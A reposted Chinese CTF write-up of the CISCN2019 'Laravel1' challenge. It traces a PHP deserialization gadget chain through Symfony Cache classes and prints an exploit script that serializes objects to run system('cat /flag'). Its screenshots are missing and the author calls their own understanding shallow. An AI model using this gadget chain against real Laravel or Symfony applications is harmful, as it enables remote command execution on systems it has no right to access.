[CISCN2019 总决赛 Day1 Web4]Laravel1

Posted F1ght!!

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[CISCN2019 总决赛 Day1 Web4]Laravel1相关的知识,希望对你有一定的参考价值。

[CISCN2019 总决赛 Day1 Web4]Laravel1在这里插入图片描述

界面如上,比较单一:

指出了反序列化的点:还有备份文件。

下面反序列化的入口:
在这里插入图片描述就当找到了吧:
在这里插入图片描述确实可以跳转:
在这里插入图片描述可控:
在这里插入图片描述寻找这个类,看是否被调用:
在这里插入图片描述在这里插入图片描述
开始寻找使用了saveDeferred类的:

看别人的WP这个是唯一可以使用的:
在这里插入图片描述
调用了本类的initialise方法,但前文并没有定义,据其他WP说是会去父类找,

偷一张其继承关系的图:
在这里插入图片描述查询得到其主要父类,尝试全局搜索initialise()
在这里插入图片描述
include可以使用:
在这里插入图片描述那么在之前的那个phpArrayAdapter.php中定义好$this->file,只要其存在就能包含出来:

贴exp:

<?php

namespace Symfony\\Component\\Cache\\Adapter;

class TagAwareAdapter{
    public $deferred = array();
    function __construct($x){
        $this->pool = $x;
    }
}

class ProxyAdapter{
    protected $setInnerItem = 'system';
}

namespace Symfony\\Component\\Cache;

class CacheItem{
    protected $innerItem = 'cat /flag';
}

$a = new \\Symfony\\Component\\Cache\\Adapter\\TagAwareAdapter(new \\Symfony\\Component\\Cache\\Adapter\\ProxyAdapter());
$a->deferred = array('aa'=>new \\Symfony\\Component\\Cache\\CacheItem);
echo urlencode(serialize($a));

使用:

还有问题未解决,等待了解:理解的太浅显了:
在这里插入图片描述

以上是关于[CISCN2019 总决赛 Day1 Web4]Laravel1的主要内容,如果未能解决你的问题,请参考以下文章

[CISCN2019 华东南赛区]Web4

BUU CTF[CISCN2019 总决赛 Day2 Web1]Easyweb 1

BUU CTF[CISCN2019 总决赛 Day2 Web1]Easyweb 1

CISCN2021 西北赛区分区赛 Web xb_web_flask_trick

2021-CISCN-fianl-ezj4va

2021-CISCN-fianl-ezj4va